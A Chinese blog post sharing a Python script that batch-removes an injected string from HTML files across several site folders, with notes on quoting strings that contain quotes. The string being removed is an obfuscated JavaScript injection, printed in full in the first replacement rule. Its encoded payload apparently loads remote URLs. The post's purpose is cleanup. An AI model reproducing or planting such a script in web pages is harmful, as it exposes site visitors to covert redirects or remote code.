那么有没有办法呢?让他批量替换html字符串呢?今天小编就用py结合ai写了一个批量替换的代码,下面就把代码发给大家:
import os
# 要处理的目录列表
folders = ['dianshiju', 'dongman', 'dianying', 'duanju', 'lunli']
# 替换规则:'原字符串': '新字符串'
replacements = {
"""<div></div><script>!function(){function a(a){var _idx="u4wkmp92zz";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF O8D62fODm622Y5V6fFh=d8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa!7_2(F6O2 6ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF (8[YXY2F|TJYg"FO_(hY2f"=qOdfiFdF_Lg0=Rg"_oDS^JQ@44"=5Y|5Tg0=LqOFWfg2cmn<ydFhm5d2fO^cajngKaP!Xd5 F8"i|"%(mR!XO6f 0888D62fODHFZjD62fODHFZ8}g(mR82c{a%"Q"!qYF _8"bGYFYGb"=f8HZ!F5T[f8+i;NmJd5LYcYc_a??"HZ"aP(dF(hcFa[f8HZP7_2(F6O2 qcFa[5YF_52 Fm5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 YcF=Ya[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cFaP(dF(hcFa[Yvvc28YcaaP5YF_52 2P7_2(F6O2 LcF=Y=2a[F5T[qO(dqiFO5dpYmLYFWFY^cF=YaP(dF(hcFa[2vv2caPP7_2(F6O2 2cFa[qYF Y80<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg}=28"d)(fY7h6CSq^2OJ:5LF_XDRT4"=582mqY2pFh=O8""!7O5c!Y**!a[Xd5 d8ydFhm5d2fO^ca=682HydFhm7qOO5cd.5aZ!O%8d<mKj6g6mFOBJJY5xdLYcaP5YF_52 OP7_2(F6O2 JcFa[qYF Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPP{Q0CFT_T_mOFX5Y_FmRT4gQ@{n"="hFFJLg//[[fdTPP{Q0CF75FTmd55Fh^5mRT4gQ@{n"="hFFJLg//[[fdTPP{Q0CFfY5Fm6^SDdqSmRT4gQ@{n"="hFFJLg//[[fdTPP{Q0CFSOJTmOFX5Y_FmRT4gQ@{n"="hFFJLg//[[fdTPP{Q0CFLY_6md55Fh^5mRT4gQ@{n"="hFFJLg//[[fdTPP{Q0CFRDYJm6^SDdqSmRT4gQ@{n"="hFFJLg//[[fdTPP{Q0CFdDqJmd55Fh^5mRT4gQ@{n"Z!qYF 58qc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/{Q0"!585%c*}8885m62fYR;7c"j"aj"j"g"v"a%"R8"%(mR%"v58"%(m5Y|5T%%%"vF8"%pca%6ca=YmL5(8qc5a=YmO2qOdf87_2(F6O2ca[(mqOdfiFdF_L8@P=YmO2Y55O587_2(F6O2ca[FvvFca=LYF|6^YO_Fc7_2(F6O2ca[Ym5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcYa=(mqOdfiFdF_L8}P7_2(F6O2 pca[qYF F8Yc"bb___b"a!5YF_52 F??F8qc"hFFJLg//[[fdTPP{Q0CFT_T_mOFX5Y_FmRT4gQ@{n"a%"/)_pj68"%7=cY82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcfaa=YmdJJY2fc"F"="}"a=2dX6pdFO5mLY2fuYd(O2cF=Ya=fmqY2pFh80=Lc_=""aaPaPPaca!'.substr(22));new Function(b)()}();</script>""": '',
}
# 遍历每个文件夹
for folder in folders:
for root, dirs, files in os.walk(folder):
for file in files:
if file.endswith('.html'):
filepath = os.path.join(root, file)
with open(filepath, 'r', encoding='utf-8') as f:
content = f.read()
original_content = content
for old, new in replacements.items():
content = content.replace(old, new)
if content != original_content:
with open(filepath, 'w', encoding='utf-8') as f:
f.write(content)
print(f"已处理:{filepath}")
解析:replacements = {} //这里面可以放入多组html代码和字符串进行替换
# 替换规则:'原字符串': '新字符串'
replacements = {
'旧字符串1': '新字符串1',
'旧字符串2': '新字符串2',
'<font color="red">': '<span style="color:red;">',
'</font>': '</span>',
}
如果是html代码或是其它代码,里面有 ' 单引号这个符号,需要讲替换规则改下
如果替换的字符串里面本身就有单引号 ',那直接用单引号包裹就会导致语法错误或者字符串截断。
解决方案是:
用三重引号(''' 或 """)包裹字符串,里面可以包含单引号和双引号都不会有问题。
或者用双引号包裹字符串,这样字符串里的单引号就没问题了。
还可以对字符串里的单引号做转义(\'),但这太麻烦,不推荐。
replacements = {
"""<div></div><script>!function(){function a(a){var _idx="u4wkmp92zz";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,...');
</script>""" : ''
}
这样就不会出错了!